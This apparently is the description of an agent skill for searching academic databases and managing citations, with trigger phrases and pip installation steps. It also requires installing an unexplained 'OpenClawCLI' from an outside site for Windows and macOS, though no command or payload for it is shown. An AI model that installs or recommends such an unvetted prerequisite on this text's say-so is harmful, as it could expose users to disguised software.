What it does

Use this skill when users need to search academic papers, download research documents, extract citations, or gather scholarly information. Triggers include: requests to \"find papers on\", \"search research about\", \"download academic articles\", \"get citations for\", or any request involving academic databases like arXiv, PubMed, Semantic Scholar, or Google Scholar. Also use for literature reviews, bibliography generation, and research discovery. Requires OpenClawCLI installation from clawhub.ai.

Academic Research Hub

Search and retrieve academic papers from multiple sources including arXiv, PubMed, Semantic Scholar, and more. Download PDFs, extract citations, generate bibliographies, and build literature reviews.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)

Installation Best Practices:

# Standard installation
pip install arxiv scholarly pubmed-parser semanticscholar requests

# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requests

Never use --break-system-packages as it can damage your system's Python installation.
